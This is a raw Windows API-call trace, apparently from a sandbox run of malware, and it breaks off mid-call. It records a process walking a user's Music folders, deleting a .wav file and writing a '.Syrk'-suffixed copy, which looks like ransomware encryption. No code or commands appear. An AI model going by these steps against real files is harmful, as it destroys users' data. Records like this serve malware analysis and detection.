[0235.307] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0235.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0235.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0235.308] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0235.308] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0235.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0235.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0235.308] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc")) returned 0x10 [0235.308] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc")) returned 0x10 [0235.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0235.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", nBufferLength=0x3c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", lpFilePart=0x0) returned 0x3b [0235.308] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh")) returned 0x10 [0235.309] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh")) returned 0x10 [0235.309] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0235.309] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh", lpFilePart=0x0) returned 0x4b [0235.309] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\waroxvlp.wav")) returned 0x20 [0235.309] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0235.309] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", nBufferLength=0x59, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", lpFilePart=0x0) returned 0x58 [0235.415] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0235.415] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", nBufferLength=0x59, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", lpFilePart=0x0) returned 0x58 [0235.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0235.415] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0235.415] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", nBufferLength=0x59, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", lpFilePart=0x0) returned 0x58 [0235.415] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\waroxvlp.wav\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0235.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0235.416] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0235.416] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0235.416] CoTaskMemFree (pv=0x5c9b950) [0235.417] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\waroxvlp.wav")) returned 0x20 [0235.417] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0235.417] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", nBufferLength=0x59, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", lpFilePart=0x0) returned 0x58 [0235.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0235.418] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\waroxvlp.wav"), fInfoLevelId=0x0, lpFileInformation=0x24ac2ec | out: lpFileInformation=0x24ac2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad1425a0, ftCreationTime.dwHighDateTime=0x1d98eaf, ftLastAccessTime.dwLowDateTime=0x23aaad40, ftLastAccessTime.dwHighDateTime=0x1d999a2, ftLastWriteTime.dwLowDateTime=0x23aaad40, ftLastWriteTime.dwHighDateTime=0x1d999a2, nFileSizeHigh=0x0, nFileSizeLow=0x9450)) returned 1 [0235.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0235.418] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\waroxvlp.wav")) returned 1 [0235.419] EtwEventActivityIdControl () returned 0x0 [0235.420] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.420] EtwEventActivityIdControl () returned 0x0 [0235.420] EtwEventActivityIdControl () returned 0x0 [0235.420] EtwEventActivityIdControl () returned 0x0 [0235.428] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\waroxvlp.wav.syrk")) returned 0x20 [0235.429] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\waroxvlp.wav.syrk")) returned 0x20 [0235.430] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5e [0235.430] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav.Syrk", nBufferLength=0x5e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav.Syrk", lpFilePart=0x0) returned 0x5d [0235.430] EtwEventActivityIdControl () returned 0x0 [0235.430] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.431] EtwEventActivityIdControl () returned 0x0 [0235.431] EtwEventActivityIdControl () returned 0x0 [0235.431] EtwEventActivityIdControl () returned 0x0 [0235.435] EtwEventActivityIdControl () returned 0x0 [0235.435] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.435] EtwEventActivityIdControl () returned 0x0 [0235.435] EtwEventActivityIdControl () returned 0x0 [0235.435] EtwEventActivityIdControl () returned 0x0 [0235.439] EtwEventActivityIdControl () returned 0x0 [0235.440] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.440] EtwEventActivityIdControl () returned 0x0 [0235.440] EtwEventActivityIdControl () returned 0x0 [0235.440] EtwEventActivityIdControl () returned 0x0 [0235.444] EtwEventActivityIdControl () returned 0x0 [0235.444] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.445] EtwEventActivityIdControl () returned 0x0 [0235.445] EtwEventActivityIdControl () returned 0x0 [0235.445] EtwEventActivityIdControl () returned 0x0 [0235.448] EtwEventActivityIdControl () returned 0x0 [0235.449] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.449] EtwEventActivityIdControl () returned 0x0 [0235.449] EtwEventActivityIdControl () returned 0x0 [0235.449] EtwEventActivityIdControl () returned 0x0 [0235.456] EtwEventActivityIdControl () returned 0x0 [0235.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0235.460] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\waroxvlp.wav.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24bcfc0 | out: lpFileInformation=0x24bcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ae880, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x81ae880, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x81d49e0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x9474)) returned 1 [0235.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0235.461] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e59c | out: lpConsoleScreenBufferInfo=0x5a2e59c) returned 1 [0235.463] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e594 | out: lpMode=0x5a2e594) returned 1 [0235.463] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e588, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e588*=0x2) returned 1 [0235.464] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e540 | out: lpConsoleScreenBufferInfo=0x5a2e540) returned 1 [0235.465] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0235.465] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0235.465] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0235.467] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e5a4 | out: lpConsoleScreenBufferInfo=0x5a2e5a4) returned 1 [0235.467] GetConsoleOutputCP () returned 0x1b5 [0235.468] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e314, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e314) returned 0 [0235.468] GetConsoleOutputCP () returned 0x1b5 [0235.468] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e314, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e314) returned 0 [0235.468] GetConsoleOutputCP () returned 0x1b5 [0235.468] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e314, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e314) returned 0 [0235.468] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3f4 | out: lpConsoleScreenBufferInfo=0x5a2e3f4) returned 1 [0235.469] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0235.469] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24d7c38*, nNumberOfCharsToWrite=0xf, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x24d7c38*, lpNumberOfCharsWritten=0x5a2e3e0*=0xf) returned 1 [0235.469] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0235.470] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2) returned 1 [0235.471] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3f4 | out: lpConsoleScreenBufferInfo=0x5a2e3f4) returned 1 [0235.471] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0235.471] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24d7c7c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x24d7c7c*, lpNumberOfCharsWritten=0x5a2e3e0*=0x4f) returned 1 [0235.472] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0235.472] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2) returned 1 [0235.473] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4fc | out: lpConsoleScreenBufferInfo=0x5a2e4fc) returned 1 [0235.474] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4f4 | out: lpMode=0x5a2e4f4) returned 1 [0235.474] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e8*=0x2) returned 1 [0235.475] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0235.475] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0235.475] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0235.476] GetConsoleOutputCP () returned 0x1b5 [0235.476] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0235.476] GetConsoleOutputCP () returned 0x1b5 [0235.477] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0235.477] GetConsoleOutputCP () returned 0x1b5 [0235.477] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0235.477] GetConsoleOutputCP () returned 0x1b5 [0235.477] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0235.477] GetConsoleOutputCP () returned 0x1b5 [0235.477] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0235.478] GetConsoleOutputCP () returned 0x1b5 [0235.478] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0235.478] GetConsoleOutputCP () returned 0x1b5 [0235.478] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0235.478] GetConsoleOutputCP () returned 0x1b5 [0235.478] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0235.478] GetConsoleOutputCP () returned 0x1b5 [0235.479] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0235.479] GetConsoleOutputCP () returned 0x1b5 [0235.479] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0235.479] GetConsoleOutputCP () returned 0x1b5 [0235.479] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0235.479] GetConsoleOutputCP () returned 0x1b5 [0235.479] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0235.479] GetConsoleOutputCP () returned 0x1b5 [0235.480] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0235.480] GetConsoleOutputCP () returned 0x1b5 [0235.480] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0235.480] GetConsoleOutputCP () returned 0x1b5 [0235.480] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0235.480] GetConsoleOutputCP () returned 0x1b5 [0235.480] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0235.481] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0235.481] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0235.482] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24d862c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x24d862c*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0235.483] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0235.483] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0235.484] GetConsoleOutputCP () returned 0x1b5 [0235.484] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0235.484] GetConsoleOutputCP () returned 0x1b5 [0235.485] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0235.485] GetConsoleOutputCP () returned 0x1b5 [0235.485] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0235.485] GetConsoleOutputCP () returned 0x1b5 [0235.485] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0235.485] GetConsoleOutputCP () returned 0x1b5 [0235.485] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0235.485] GetConsoleOutputCP () returned 0x1b5 [0235.486] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0235.486] GetConsoleOutputCP () returned 0x1b5 [0235.486] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0235.486] GetConsoleOutputCP () returned 0x1b5 [0235.486] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0235.486] GetConsoleOutputCP () returned 0x1b5 [0235.486] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0235.486] GetConsoleOutputCP () returned 0x1b5 [0235.487] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0235.487] GetConsoleOutputCP () returned 0x1b5 [0235.487] TranslateCharsetInfo (in: 